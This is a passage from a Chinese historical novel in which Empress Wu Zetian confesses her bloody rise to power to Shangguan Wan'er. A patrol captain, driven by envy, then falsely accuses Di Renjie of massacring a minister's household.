“然而没过多久,太宗皇帝就驾崩了,而我,也就跟着太宗的那些嫔妃,一起来到了感业寺出家,剃发做了尼姑。我终究还是跟他分开了,从此我就明白了,这世上从来就没有什么是永远的,世间一切皆是无常。我发誓一定要出头,但我似乎永远也等不到自己的出头之日了。我曾经爱过的那个男人,他如今已经当上了皇帝,他还会记得我吗?我每日听到的只有感业寺里的暮鼓晨钟,以及诵读经卷的声音,当然,在最初那些日子里,还有许多女人发疯的哭声和喊叫声。她们也都是太宗的妃嫔,因为受不了做尼姑的孤独,很多到了后来都变得神经兮兮了。我却懂得忍耐,因为我始终相信,我一定能够出头。就凭我是武曌。佛法说人之所以痛苦,是因为执著。然而,让我什么也不执著,我会更加地痛苦。因为我不甘心,我不甘心这一辈子就这样子度过了,我此生不应该只有冷清,还应该拥有辉煌。这座寺庙不应该成为我此生的归宿,而只是我生命中的旅舍。一个人的爱与执著固然牵绊着自己,但是我不愿意去觉悟,我认为自己不应该放弃,去继续追求我心中所渴望的这一切,而这一切全部都在红尘当中,不在这佛门里。佛曾经说过,若离于爱,何忧何怖。但有的时候,爱也会给我力量,让我能够战胜生命中的忧伤和恐怖。我不愿成佛,我只想成为我自己。那些日子里,我虽然读了很多佛经,但我发现自己这颗躁动不安的心并不会随着时间而平静,反倒日益躁动。我知道我的心始终处在这人世间,几乎片刻也离不开这滚滚红尘,我当时就坚信,这是暴风雨前的宁静,这种乏味的等待不会持续太久了。 “果然,没过多久,在高宗来寺庙里上香的时候,我跟他再次相见了。在那个禅房里面,我们两个人相对而泣,从那一刻开始,我就坚信了他是爱我的,从此我也再也不许他爱上别的女人,他只能属于我一个人,就像我也愿意让自己只属于他一样。如果不自私一点,我们又何必相爱呢?所以我再也没有放过这次机会,我要让这个天底下最有权势的男人再也离不开我,我要让他成为我得到更高权力的武器,甚至我也不惜让他成为我的垫脚石,成为我往上爬的牺牲品,成为我夺得权力的工具。当时王皇后想利用我来斗倒萧淑妃,于是高宗封我为昭仪,我终于开始掌握了一点权力。我从此帮助高宗跟长孙无忌、褚遂良这些权臣斗争,最后我为了得到皇后的位置,我甚至亲手杀死了我的女儿来陷害王皇后。 “从我一瞬间闪过那种可怕的念头起,一直到我真实地行动了起来的时候,我突然就感到了什么叫做癫狂。我知道,从那一刻起,我的良知就注定了要愧疚一辈子,同时我的这颗心也就彻彻底底地死掉了。我是个母亲哪,我的女儿啊,她才刚出生哪,她那双清澈的眼神和她那张可爱的笑脸,我后来伴随一生的噩梦当中一直会浮现,她总是出现在我的梦里,我永远也忘不了她啊。我知道,她的灵魂从来就没有离开,她不能原谅我这个亲手杀了她的母亲,我这个给了她生命又结束了她生命的母亲,她不愿意原谅啊!呵呵呵呵呵!她不原谅我啊......她不原谅我啊......对不起,我对不起她!我知道,我杀死的不是她而已,还有我的心。从此我的心就死了。我那双掐住她咽喉的手,我捂在她的小脸上的枕头,她那拼命挣扎的小身躯,她那发青发紫的小脸,她那死不瞑目的狰狞神情,她在我眼前逐渐冰凉的躯体,那个婴儿睡的小床,我刚出生的女儿,她就这么死了。啊!!!我亲手杀了她呀!我的心死了!哈哈哈哈哈!我当时还得强颜欢笑啊。我还得若无其事地笑得出来啊,谎言和欺骗哪,我的心啊!为什么!到底是为什么呀!!!我的恨哪,就为了得到我想要的一切,这一切值得吗?我死了女儿,皇帝恨透了那两个女人,她们被打入了冷宫,她们该死!我听说了皇帝还敢去看她们,我于是下令砍掉她们两个人的手脚,把她们肢体不全的残躯浸泡在酒缸里面,让那两个死老太婆活活痛死!她们两个人的惨叫,她们极端的痛苦,也只能减轻一点点我心里的痛!世上的人都该死!得罪了我武曌的人全都得死!自此以后,我再也不怕杀人了,我人挡杀人,佛挡杀佛!我把你们一个个都给整死!要我忏悔?门儿都没有!我不是在忏悔,我是在证明我没有错!我杀了我女儿,但这不是我的错,而是这世界的错!我相信佛法,我也相信因缘果报,我还相信天堂和地狱,但是我不忏悔!我就算是要下地狱,我也不忏悔!该死的人照样得死,该杀的人照样得杀! “斗赢了前朝的那些政敌和后宫的这几个女人,我终于当上了皇后。我既然从血雨腥风当中获得了权力,就谁也别想再从我手中夺走。我知道,报仇的时间到了,是时候给我那几个同父异母的兄弟一点颜色看看了。他们果然出言不逊,还是那德性。好啊,那就一个个罢官,流放,暗杀,赐死!还有那两个老不死的,长孙无忌和褚遂良,还敢不把我最爱的男人放在眼里,全都给我死光!哦,还有我那好姐姐和她的好女儿,还敢来跟我争夺男人,我直接下毒鸩杀!那些反对过我的政敌们,我让他们一个个都不得好死!还有那个上官仪,居然还想帮着皇帝废掉我,我于是就杀了他全家,让他一家人灭门!没过多久,高宗却突然病了,严重到无法独自理政,所以我才有机会在一旁辅佐他,一同参政。当时我就感觉到了这是一个很好的机会,是我夺得更高的权力的机会,我不能错过。我于是培植自己的党羽,又开始跟高宗斗争了。皇帝知道自己斗不过我了,就想传位给太子李弘,那是我亲儿子啊,我不是照样一杯毒酒送他上西天。老二李贤又想跟我斗,那我就把你流放了。他还敢写诗来骂我,说我摘瓜?没错,得罪了我的人都得死,连亲生儿子也不例外!后来皇帝死了,老三当了皇帝,因为他不听话,我也就把他废掉了。从此老四就是一个傀儡皇帝,他们都是我手中的棋子。后来我已经要往皇帝宝座上坐了,在我称帝前的那几年,我利用那些酷吏把所有的反对派全都整死,我知道,整个天下早已血流成河,我也知道,无数个无辜的人也都跟着陪葬了,但我不在乎。这就叫做天子一怒,伏尸百万!都给我去死吧,死吧!还有李唐宗室,我也把你们全都杀光!只有狄仁杰在越王之乱过后,上书给朕,说了杀良冒功的事情,让我知道,至少这世上,还有像他狄仁杰这样的好人,让我想要重用他。毕竟这世上还是坏人多啊,好人何其难得。 “最后,我终于称帝了。经历了这一生的血雨腥风,我终于证明了我自己,我证明了我活得很有价值!我没有白白浪费我这一生的存在,我是历史上第一个女皇帝!此乃天意!我是天命所归,我得到的这一切都是我该得的!从此不会有人忘记有一个叫做武曌的女人来过,这个女人犯过很多错,也做过正确的事,而最正确的事情就是她努力去活出了精彩,我做到了!我只想证明自己活过,而且活得比大多数人都要更精彩!我不后悔,那些过往,我的所作所为,应该留给历史去赎罪!我的功过是非,也应该留给春秋来褒贬!在我死了以后,我只要求立一个简简单单的无字碑,因为我觉得自己很复杂,不知道千载以后有没有人能够了解我,能够看到我内心深处的孤独,能够明白我做这一切也是身不由己。世人爱说什么就让他们说去吧。无字碑的意思就是空。我活成了一场空。武曌最后终于明白了什么是空。 “如果说我现在真正感到对不起一个人,那这个人就是狄仁杰。因为我让他做了个选择,而他也做出了自己的选择,虽然是他自己的选择,然而却是我给他的选择,如果没有我给他的选择,他就不必去选择。我让他选择了一个我偶然的恶念发出的问题,然后让他必然地要去承受这一年的苦楚,走一段本来不必他走的边关之路。如果不是我给了他选择的机会,他就没有机会去做这个选择,所以说是我害了他呀。但是我是君主,君无戏言,我不能因为后悔而收回我的旨意,否则我的权威就没了。一个没有了权威的君主,相当于失去了自己的权力,而朕,不会为了他而再一次失去权力,所以我宁愿让他把这段路一直走下去,一直走到他路的尽头。我当然也知道,从他做出选择要去走这一段路的时候起,他就注定了再也回不来了。可我还是希望他最终能够平平安安地回来,让我来问他一句:路,可有尽头? “我知道他这一路上将要经历无数的坎坷,因为他失去了权力。一个失去了权力的宰相,还不如一个平头老百姓,所以权力是多么重要的东西啊。他注定了要去体会到生命中无可奈何,体会到命运远远要大过个人,体会到跟我一样的那种极致的孤独,体会到一个人可以多渺小也可以多伟大,体会到一段路其实就是一个人生。这一段边关之路是只属于他狄仁杰的,是他自己选择要去行走的道路。或许这就是他该走的路吧。这些日子,我想了很多,也许并不是我让他做的选择,而是命运让我给他做个选择。其实他也知道,无论自己如何选择,自己都逃不出命运的范畴。因为一个人的一生就是他的命运,一个人无时无刻不在命运当中,我们谁也逃不出去,连我也不能。我注定了要做历史上第一个女皇帝,狄仁杰也注定了要去走他的边关之路。既然如此,那我也不必后悔了,因为他狄仁杰命中注定要去走这一段路,我和他都无可奈何。但愿他一年以后能够回来与我相见,到时候,我再也不会让他继续走在路上了,我希望他从此能拥有一个属于自己的家,不用再做路上的人了。狄仁杰,永远也不要忘记回来的路,因为那是你生命中的归途。朕从明日起就把天下的每一条道路都赏赐给你,请你为我爱惜我的子民,让一个正直的人的名字永远流传下去,他叫狄仁杰。我在这里等着你回来。一直走下去吧,走这一段只属于你自己的道路。” 上官婉儿胆战心惊地听完了武皇的这一番肺腑之言,整个人心里面恐惧到难以言喻,虽然她外表仍是装作相当镇定的样子,然而一种深入骨髓的惊愕早已让她再也说不出一句话来。她知道武皇适才已经严重失态了,因为武皇的这一番话本不该对自己说出口的,这本应该是藏在武皇内心深处的隐秘之言,却偏偏被自己完完全全地听到了耳中,而且也必然会永永远远地留在自己的心里,这令上官婉儿恐惧到浑身颤抖了起来,也让她的理智在当下此时此刻几乎失去了功用,让她整个人当场懵住了,不知道自己该说什么话和做什么事才好,更不知道自己在接下来应该如何面对武皇,她只能一句话也说不出口,就这么呆愣愣地坐在那里,仿佛定住了一般一动也不动。 武皇也知道自己严重失态了,今晚自己把所有最隐秘的心里话全部说给了这个聪慧的女官上官婉儿听,虽然武皇并不是很怕这些话被她听去,但是这些话毕竟还是应该留在自己心里面的,而不是给任何人哪怕是很信任的人听到,因为自己的心里话被别人听到了以后,虽然能够减少一点闷在心里的压抑之感,甚至可以减少自己那无处宣泄的孤凄之意,然而自己的内心深处那脆弱的一面就仿佛从此被人无时无刻地窥视得毫无保留了,而这样的一种彻底敞开了的心扉,是武皇这样的一个帝王所不能允许的,更是自己这样的一个帝王所不能坦然接受的事情,因为这会让自己感到无比地不舒服,会让自己试图独自保留的秘密成为了一种听到了这番话的人似乎可以用这种知情的隐形的力量来要挟自己的特殊的权力,更会让自己从此以后感受到一种无时不在的压力,尤其是会让自己无法再去面对知道了自己内心深处的秘密的这个人,因为随着自己的秘密被她听见了,自己也就同时失去了再去面对她的勇气,也让自己本来至高无上的权威从此在她面前失去了那层权力的帐幕,让自己仿佛□□地处在了她的面前,变得毫无保留也毫无神秘,变成了一个不再是帝王而是普通人的样子,变成了一个跟每个人都一样的有着许多缺陷以及脆弱的样子,变成了一个自己最不希望被人认知到的样子,变成了自己最真实的样子,变成了那毫无伪装的最初的样子,变成了自己本身的样子。 所以武皇就让上官婉儿从明日起不必再上朝了,今后的每个宁静的夜晚也都不必再来这里跟自己说话聊天了,以后自己给她的权力会比从前更大,让她真正当上女中的宰相,但是从此也跟自己这个帝王不再有着如此亲密的关系了,而只是一种君臣之间充满了隔阂的关系,因为今晚的这一番肺腑之言已经让她们君臣之间多了一道无法逾越的鸿沟,那就是对有些事情知道了太多了的结局,是命运给她们本来可以成为知心朋友的结局,也是君臣之间因为彼此的身份差异而必然走到的结局。 上官婉儿于是起身,然后面朝武皇恭恭敬敬地跪了下来磕了几个头,她的眼中满是泪水,却几乎是面无表情平平静静,只是仰望着坐在那里看着她的武皇。武皇含着眼泪看着她不说话,她也湿润着眼眶仰望着武皇不言语。 上官婉儿已经坦然地接受了这种结局,她想这或许已经是自己最好的结局了。因为武皇没有选择去杀了自己,而是让自己可以更加专心地去做自己该做的事情,而跟一个皇帝去谈心或许并不是任何臣子的分内之事,所以她终究还是不可能跟武皇做朋友,而只能是至始至终地去做一个臣子,然后让武皇继续当她的孤独的帝王。 很多人都以为,武皇杀害了她的家人,所以她有着复仇之念,而其实她并没有这种念头,也许曾经有那么一刻有过一点点,但是这种复仇之念也不过是转瞬即逝地闪现在自己的内心深处,却并不曾长久地在自己的意念当中停留,因为她早已没了这份勇气去实施这种意念。从小到大她真正有的想法只有一个,那就是她母亲教她的话:要好好地活下去。所以她每时每刻都小心翼翼战战兢兢地服侍着武皇,因为她只想活着。什么复仇、理想、大义、追求,早已没有了。因为经历了家破人亡,她唯一的念想就只剩下了生存,而在这宫廷之中面对这样的主子要生存下去,就得失去自己一切的个性和想法然后变得无比地自私,这样自己和母亲才能够存活,自己也才能够继续见到这华丽的宫殿的屋檐之上那蓝天白云和阳光,才能在这宫墙之内继续感受到生活中的微小的希望,因为只要坚持活下去就还有希望。 她这些年来每时每刻都在体会着什么叫做“伴君如伴虎”,无时无刻不谨小慎微地做人做事,可到了最后,她终究还是没能做到,因为她用真心来对武皇了,而武皇也用真心来对她了,所以她们二人的真心反而把彼此的真心毁了,因为倘若她们不那么真心诚意地对对方,她们还不至于连朋友都做不成,至少也还可以拥有几分真心地去交谈,而不至于落到连一句真心话都说不了的地步,就像从今以后的情况那样,甚至一直到死,武皇都再也没有跟她说过一句知心话了。 从此她更加认真恭敬地服侍武皇,却跟武皇之间的距离越来越遥远,直到君臣之间变成了近在咫尺,却仿若远隔天涯。 从此以后,武皇内心深处的孤独,再也无人能够诉说了,只有留在她们二人彼此的心里,一直埋藏到永远。 这是狄仁杰他们离开洛阳的同一个晚上,那秋日的夜雨一直下个不停,敲打着散落一地的梧桐叶,滴落在这恢宏的宫殿的每一块砖每一片瓦上。 永不间断的淅淅沥沥的声响,衬托着这夜里的寂静,也让独自一人坐在那里的武皇品味着这无边无际的孤独。 8. 第八章 信笺 一夜大雨倾盆,将各处通衢大道淋得积水成河,万物皆是湿漉漉一片。 旭日从东山冉冉升起,散去了遍布夜空的乌云,绽放出斑斓多彩的朝霞。 吕队长一清早便领着两个巡逻队的部属,携着礼物来至徐府。 这两个部属一胖一瘦,是吕队长在巡逻队里最信任的两个,其中一个聪明一个傻,正好互补成了一对儿。 但他们都有个共同点,那就是听话。 而且听话要看听谁的话,不能随便任何人说句话他们就听,主要是要听他吕队长的话,这才是最重要的。 所以吕队长早就嘱咐了他们,这次到徐府,一定要“听话”,不要多说一句话,否则后果会很严重。 还有那个“礼物”,吕队长也想了半天带个什么来才好。如果带个茶杯器皿之类的玩意儿,好像徐府又不缺。如果直接带银子,那这意图也太明显了,更显得自己做贼心虚似的,而且也不太体面。 最后决定了,还是带点好吃的甜点来,既显得自己懂礼节,至少双手没空着,又能塞了吃东西的人的嘴。正是俗话说的:“拿人手短,吃人嘴软。”自己这点子东西还是拿得出来的,那个吃东西的人也就不好再多怪罪自己了。 于是趁天还没亮,就赶忙打包了几样好吃的,其中有黑芝麻馅的甜酥饼,可以补肾益脑,有粉粉的入口即溶的绿豆糕,可以清热降火,有香脆可口的芝麻糖,硬到吃的人一心难以二用,还有甜到发齁的蜜饯枣,让你开心。 吕队长早起就路过了彭府作案现场,偷偷地躲在拐角的围墙后面观看了一番,发现官民聚集,闹声鼎沸,所有人都大惊失色,纷纷议论,而大门口站着几个皂隶打扮的,手握腰间刀柄,正在门口呼喝众人,叫那些伸头往府里看去的人们,“别看啦,别看啦!走走走走走!” 吕队长知道已经惊动了大理寺,封锁了作案现场。再过不了多久,不但徐主帅也会知道,整个京城的人都会知道,就连皇上也会知道。到时候自己一个小小的巡逻队队长,可就小命难保了! 他这时快步走着,冷汗直流,忽然抬头一看,正前方就是徐府了。 这徐府位于神都皇城宫殿的外围数里处,其中都是达官显贵、皇亲国戚的住宅,相连有十几条街不止。而徐府在当中,作为京城御林军主帅的私人宅邸,自是毫不逊色。 吕队长刚到门前,便感到双腿发软,又有点想回去了,但想到来都来了,不如还是进去吧。于是颤颤巍巍,上了几个台阶,刚准备敲门,忽然朱漆大门自己就开启了,从里面迎出一个华冠丽服的中年管家来,一见了吕队长,便作了个揖,吕队长倒吃了一惊,忙还礼。 “徐老爷知道队长要来,”那管家淡淡地微笑着说,“叫我在这里等着。” “哦?”吕队长有些诧异,虽然也在意料之中,“主帅知道我要来?” “已久候队长多时,请。” 这徐府真乃顶级豪宅:雕梁画栋,秀丽可观,陈设器皿,无微不至。其园林之精美亦是绝伦:一进大门,便是青石甬路,傍着游廊过道,掩映在青松翠柏、千竿修竹当中。还有那些花草树木,楼台亭阁,山石盆景,池塘闲庭,也皆是应有尽有,样样俱全。 虽有这般令人心旷神怡的景象,那吕队长却是视若无睹,也无暇他顾,只是两股战战,微微低着头,跟着那管家走了一段漫长的道路,来到了客厅。 “请稍候片刻。”管家说着就离开了。 吕队长深吸了一口气,又缓缓地吐了出来。感到坐立不安,心神不宁。 仆人给他上了茶,他也没心情吃,只是在厅里来回踱步,走来走去,走来走去,越走越烦躁,越走越不安,真不知该怎么办是好。这间客厅非常大,他却来来回回走了不知有多少遍,感觉都快过去一年了,怎么徐主帅还不出来啊?他绕着椅子走,绕着桌子走,绕着柱子走,绕着铜鼎走,绕着客厅走,绕着自己带来的两个巡逻队员走,也绕着自己走。 突然,他猛一回头,看见了墙上挂着的一幅画,为前朝著名画家所作,题名曰“潇洒图”,乃一侠客仗剑而立,目光中炯炯有神。 吕队长一见,不觉大怒了起来,圆睁双眼,咬牙切齿。只因他想到了一个人,一个他恨不得千刀万剐的人。 那个人,他已经恨了有十几年了。 吕队长之所以恨他,是因为自己无论从哪一方面来看,确实都不如他。 吕队长从羡慕,到嫉妒,再到恨,中间就隔着个“求不得”。 吕队长想要的,那个人都有,偏偏那个人对于自己所拥有的,或者是能够得到的,都完全不在乎,至少不是太在乎。 但吕队长很在乎,所以想要又得不到的心,让他时不时会在平静的外表下,那颗躁动的心里面,泛起汹涌波涛,萌生一些非常可怕的念头,要对他羡慕、嫉妒、恨的那个对象进行报复,要让那个人尝到痛苦的滋味,活得不如自己,而且要惨得多! 吕队长职位也不比那个人高,武功更是差远了,还有很多方面,都是不如。 他快疯了! 凭什么自己已年过而立,却比那个人差那么多! 他昨晚已经做出了他一直想做却又不敢做出来的事,可惜没有成功。 那个人还活着。 那个人还在“潇洒”地活着。 而自己呢,活得跟蛆一样! 他想好了,要报复,要狠狠地报复! 那个人,就是韩忠义。 他恨韩忠义,连带着韩忠义的主子狄仁杰也恨起来。 这就是他昨天晚上敢于动手的原因。 一个小小的巡逻队队长,敢于向宰相动手的原因! 他在极端的、疯狂的愤恨面前,在隐忍了十几年的仇恨面前,再也忍不住了。 他知道自己打不过韩忠义,但那一剑,在他看来,还是要出。 他出了那一剑,他不后悔! 他甚至死都不怕了,但他要韩忠义死,要韩忠义的主子狄仁杰也死! 这两个人他恨死了,他的恨,就在此时此刻的咬牙切齿中,那个圆圆睁开的双眼中。 他看着这幅图,这幅“潇洒图”,发出了很小声的狞笑,神情变得疯狂又恶毒,基本不像是个人可以做出来的表情了,倒像是个恶鬼。 仇恨变成这个巡逻队队长存在的价值之一,而不是全部,因为他还是渴望能够得到,得到这一切,这一切他至今还没有得到的东西。 他突然冷静了下来,神情中满是空虚。 他冷笑一声,叹了口气,回过头来,不再看那张图了。 却说他带来的两个巡逻队的部下,其中一个与另一个道:“欸,你说可笑不可笑啊?平日里夜间城门该是关的,今儿倒大开了。早晨城门该是大开的,今儿倒给关上了。狄阁老早跑了,派官兵把守有个甚用?” 另一个道:“没甚用,不过装模做样给人看……” 吕队长听见了,忙过来悄骂道:“你们两个小王八崽子给我闭嘴!再听你们提起城门的事儿,先抽了你们的筋,再剥了你们的皮!”二人方不复言。 不一时,那管家又回来了,说了声:“徐老爷来了。” 吕队长一听,忙整了整衣裳,望向后堂。 只见一个身材魁梧、膀阔腰圆、浓眉大眼、满脸胡须的人穿着便服走了出来。此人便是禁军主帅徐杰。他威猛粗犷的样子一看就像武将,但眉目间偏又有些文人优雅的气息,给人一种文武双全、有勇有谋的感觉。 “属下参见主帅。” 吕队长赶忙上前,单膝跪下道。 徐杰款步走来,不急不躁,到吕队长面前,略一欠身,双手轻轻放在吕队长的胳膊上,将他扶了起来。 “吕老弟,别来无恙?” 徐杰只淡淡地问了这么一句,见吕队长在自己面前,也不敢回话,只是抬头迅速地看了自己一眼,又垂首点了点头。 徐杰见他神经兮兮的,也知道是为什么缘故,只冷笑了一声,说了声“请坐吧”。 吕队长见徐杰让座,只得唯唯诺诺地谢了坐,眼见徐杰先已坐上了主位,自己方才慢慢地坐了下来,又低下了头。 徐杰也不开口与他叙什么寒温了,只因几天前才刚刚见过面。 仆人与二人上了茶。徐杰见吕队长一动也不敢动,仍是低着头,便忍不住不出声地冷笑了一下。 吕队长似乎感受到了这一声无声的冷笑,顿时头低得更低了。 徐杰只管捧起盖杯来,呷了几口茶,又吃了几块糕点,不时便瞅上他一眼。遂微微冷笑,放下盖杯,咳一声嗽,开口问道:“吕老弟,今日所为何来啊?” 吕队长忙抬起头,呆了半晌,方“哦”的一声,叫手下献上礼物。 徐杰也不推却,说一声“客气”,一挥手叫管家收了。 吕队长见自己的礼物被收下了,方松了口气。 “主帅,”他鼓起勇气,开口说道。“今日京中,发生了一件大事,一件……奇事。不知主帅,可有耳闻?” “何事啊?”徐杰问。 “彭尚书一府,被……被灭门了。” 徐杰“嗯”了一声,点头道:“一早就听说了,可不是嘛。这番,京中可要大乱喽。” 吕队长呼吸急促,偷抹额汗,舐嘴唇,咽口水,结结巴巴道:“这个……昨儿夜里……是……是属下……属下在街上巡的逻……” “哦?”徐杰瞪大了眼,表示吃惊,“那又如何?”嘴一提,似笑非笑。 吕队长犹豫片刻,道:“既是属下巡逻,又……又出了这等事……那……” “那怎样啊?” 吕队长道:“那属下……难逃罪责……”忽听得“啪”的一声响,徐杰拍案而起,盖杯震在了地上,茶水到处流,仆人赶忙来收拾。 吕队长心想:“完了!”眼一闭,听徐杰喝道:“你还知道‘难逃罪责’?!吾亦然!” 吕队长忙起身道:“然属下并未报案!” 徐杰喝骂:“正是因为你没报案才更糟!你他妈的以为不报案就能装没事儿人了?!今日一早,倒是彭府附近的居民先到有司衙门报的案。这是什么意思啊?啊?说明你一个夜间在街上巡逻的,还没一群小老百姓发现得早!你这番大祸临头喽!” 吕队长忙跪下,颤抖道:“主帅,替我遮藏则个,至少叫衙门官吏上报时,千万要说是属下先报的案!这并非欺君,昨夜确是属下先发现的!” 徐杰叹了口气,坐下缓缓道:“如果死的只是平常百姓,便死他个成千上万又有何妨。这偏偏死的是近来陛下十分看重的彭大人一家子,而且就在天子脚下。我徐杰身为御林军主帅,亦难逃干系,更别说你喽。” 唬得吕队长忙求救不迭。徐杰摇了摇头,冷笑道:“救你?我都无法自救喽。还有,城门竟然大开了一整夜?” 吕队长嗫嚅了几句,被徐杰一个嘴巴打来,脸登时红肿了。 徐杰大骂:“放你娘的屁!你他妈的巡逻巡到鬼门关去了啊!你知道为什么城门大开吗?啊?因为上面的岗哨都死了,都被杀死了!被杀死了你听到了没有!” “什么?!”吕队长惊讶道。 “你大惊小怪什么?”徐杰道。 “我……”吕队长有些懵,“我们巡逻队……居然还活着……” “你是应该庆幸啊,”徐杰喝骂,“你们居然还没死!” “他们有能力杀死城门楼上的岗哨,肯定也能杀死我们……” “你说的就是屁话!”徐杰怒喝,“彭府已经被灭门了,你的命算个什么东西!” “我的命算个什么东西……”吕队长小小声地重复道。 “这要是有人造反,大批人马乘隙进城,我恐怕就要改朝换代喽!”说着,徐杰自知失言,忙住了口。见吕队长仍跪着未起,哼的一声,道:“跪,跪!跪有个屁用!能跪出办法来?起来!” 吕队长忙道了谢,战战栗栗地起身,复归了坐。 徐杰问他:“谁干的?” 吕队长微一抬头,“我”字方出口,徐杰便道:“你?” 吕队长忙摇头,还欲说,听徐杰皱眉道:“得了,我自是白问。你他妈在街上巡逻,连一家子百余人口被杀了都没察觉,说出来谁信?别说人不信,鬼都不会信!你觉得陛下她老人家会信?即使彭府内部互相残杀,也当有声响……” 吕队长忙道:“子时前后,属下正与巡逻队在南街巡逻,不料突然下了一阵大雨,我们便在屋檐下躲雨,未曾离开。彭府命案准是那时发生的。” 徐杰沉吟,听吕队长又道:“主帅请想,南街离彭府本就不近,再加上大雨之声掩盖了斗杀的动静……” 徐杰哼了一声,冷笑道:“哦?这么巧?如此说来,凶手不但利用了及时的大雨,还利用了你喽?你是不是帮凶啊?” 唬得吕队长大惊失色,又是腿一软,跪了下来。 徐杰怒道:“你这么一跪,就是认罪了?” 吕队长磕头如捣蒜。 徐杰哈哈大笑道:“好,既然你承认是你干的……” 吕队长忙道:“不,不!不是我!”起来坐下诚恳地道:“属下于主帅,于朝廷,于皇上,那是忠心不渝,岂会做出这等伤天害理的勾当!属下对此案发生的过程着实毫不知情!” 徐杰喝道:“那有屁用!破不了案,咱们都完蛋!凶手杀完人,就白白地跑了,连一点线索也没有?” 吕队长瞪大了眼,悄声道:“主帅,凶手虽则跑了,然属下却知乃何人所为。” 徐杰忙问是谁。吕队长踌躇,徐杰催他快说,方道:“唉呀,说出来主帅都不信啊!我也不肯信啊!争奈属下乃亲眼所见,是事实啊!怎生是好呢?”说着摇了摇头,叹了口气。 徐杰凝神静听,见他卖关子,大怒道:“你他妈的到底知不知道!” 吕队长左右环顾了一番,见那管家还在,遂不说。徐杰会意,使了个眼神,管家便退下了。 吕队长这才道:“是狄阁老!” 徐杰这一惊不小,“啊”的一声,半晌方问道:“狄……狄阁老?你说的是……狄仁杰?” 吕队长点头。 徐杰冷笑了一声,道:“狄仁杰……他会武功?” 吕队长道:“狄仁杰无需会武功,只要他手下的那个韩护卫、也就是韩忠义会便足矣。还有两个亲信管家,应该也行。” 徐杰皱眉道:“你果真是亲眼所见?” 吕队长起誓道:“千真万确!我若说了一句谎话,来日天打五雷轰!” 徐杰叹了口气,道:“这么说,狄仁杰是主谋,韩护卫还有管家是帮凶?” 吕队长点头道:“不错,狄仁杰无须亲自动手,只要策划好杀害彭府的阴谋,让他手下那几个会武功的来实施……” 徐杰摇头道:“不对啊,你既说狄仁杰不必亲自动手,那你怎么会在彭府杀人现场见到他呢?他使他手下来杀人不就行了,他来瞎凑什么热闹?他不会武功,不是来帮倒忙吗?” 吕队长微一皱眉,听徐杰又问他是几时的事。 他道:“属下雨一停便领人前去彭府,应该是……子时左右吧。只因彭大人极其重要,乃国之栋梁,所以每隔半个时辰,属下便会到彭府前察看一番是否有异样。怎料一到了彭府大门前,便见遍地尸首,而狄仁杰、韩忠义等人,显是方才杀完人,正欲逃跑,从大门口慌忙冲了出来,却被属下给当场逮了个正着啊!更有甚者……嗐!” 徐杰更是诧异,问到底怎么回事。 吕队长狠狠道:“这话……实在是难以启口啊!狄仁杰他们几个……竟然各自抱着昏迷的女仆,露出了猥亵的神态,正互相说着……要将她们抱回去施奸……” 徐杰惊得“啊”的一声大叫,还未开口,听吕队长又道:“唉呀,属下当时是怒不可遏啊!我忙喝道:‘你狄仁杰再怎么说也是当朝宰相,焉能这等无耻下流!不但害了朝廷命官,还欲辱我大周子民!你们快快将这几位女子放下!’唉呀呀,真是知人知面不知心啊!狄仁杰几个竟然如此说:‘你们赶紧退后!否则将她们衣服扒光,当场就奸给你们看!’说着,他们还大笑,一面就动手去非礼那几名女仆。属下当时与巡逻队都气疯了呀!我们虽明知韩忠义武功高强,打不过,却为了保护我大周的子民免受奸人之辱,都一齐拔出剑来,与他们拼死一战!他们几个恼羞成怒,相互间说道:‘咱们杀了彭大人一府,去边关投敌,再以彭大人为见面礼,自然是大功一件!’一面说着,又大笑起来,竟将那几 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吕队长起身告辞,听徐杰道:“不,你今日就待在我府上,一步也不要离开。你若果所言属实,陛下面前自有我替你扛,你便无须再虑。你发现了狄仁杰之叛,或可赎你未阻止彭府灭门之罪,将功补过,你便无甚事矣。倘若你的话有假,我回来也好将你碎尸万段!” 吕队长忙道:“属下不敢!” 徐杰遂与部下亲自前往狄府。 这里吕队长暗喜,一块石头方落地,嘱咐两个巡逻队的部下道:“你们俩回去告诉他们:昨夜的事,唯天知、地知、狄仁杰几个知,还有就是我们几个知。狄仁杰几个是没机会说了,而天地又不会说话。这么一来,也就只剩下我们十来个巡逻队的知了。你们谁要是敢泄露了风声,哼哼,我先他妈的宰了他!也不想想,陷害了宰相……”说着,抬头望见管家正用奇怪的神情看着自己,顿时打个了冷噤。 两个巡逻队的其中一个问道:“狄阁老真的是被陷害的吗?” 另一个道:“那要看是被谁陷害的……” 徐杰领着十来个禁军全副武装赶往狄府,这时候整个京城已经大乱了。彭府惨遭灭门的消息已经传遍了大街小巷、家家户户、每个地方、每个角落,三教九流、各行各业、男女老少、士农工商,所有人都知道了。 如今这个可怕的事件已经引起了巨大的恐慌,所有人都胆战心惊了起来。上百号人全部惨遭杀害,而且还是朝廷命官的府邸。小老百姓只想好好地生活,怎能不担忧自己的命运?众人都或交头接耳、低声议论,或喧哗吵闹、大声感叹。种种言行不一。 徐杰一路上眉头紧皱,想到与狄仁杰共事多年,还是有感情的,今日却是这么个架势前往他府上,实在是心里过意不去。但有什么办法呢,彭府灭门,关系重大,如果吕成所言属实,狄仁杰真的有问题,那趁早行动是绝对没有错的。而且他想,吕成不过是个巡逻队队长,跟当朝宰相能有什么仇怨呢,又怎么可能会去撒谎陷害?并且吕成的那一番言论,关于昨天夜里的所见所闻,说的那么详细又真实,怎么可能会是编出来的呢? 徐杰又想,韩忠义武功之高,绝对在自己之上。自己虽然练了一辈子的武术,几乎成为了武官之首,但跟韩忠义这等天生奇才相比,真的是望尘莫及。 韩忠义从前不愿意做大将军,所有人都觉得奇怪。那可是皇帝亲封的武官最高职位,却似乎在他韩忠义的眼里成为了一文不值的虚名。 徐杰也不能理解。自己只是个凡人,怎么会不爱权力、不爱名利呢? 韩忠义跟了狄仁杰,虽然是跟了宰相,但远远不像将军的身份,虽然跟宰相相比可能还略有不及,但也相差不了太远。至少,不会像如今这个“护卫”的身份这么小。宰相的“护卫”这个身份,都不算个什么正经的官职,甚至还不能凌驾于巡逻队队长之上。韩忠义怎么会做出这样的选择呢?是狄仁杰给了他什么特别的好处吗?众人都如此说。 徐杰也只能从凡人的角度看去,觉得除非狄仁杰给了韩忠义非常特别的利益,远远大过将军这个职位的利益,否则的话,韩忠义是绝对不可能有任何其它的理由愿意这么死心塌地,在拥有如此高超的武功的情况下,跟随狄仁杰,做个不起眼的小护卫。 狄仁杰有那么大的魅力,可以就他自身来说,吸引韩忠义这种江湖浪子吗? 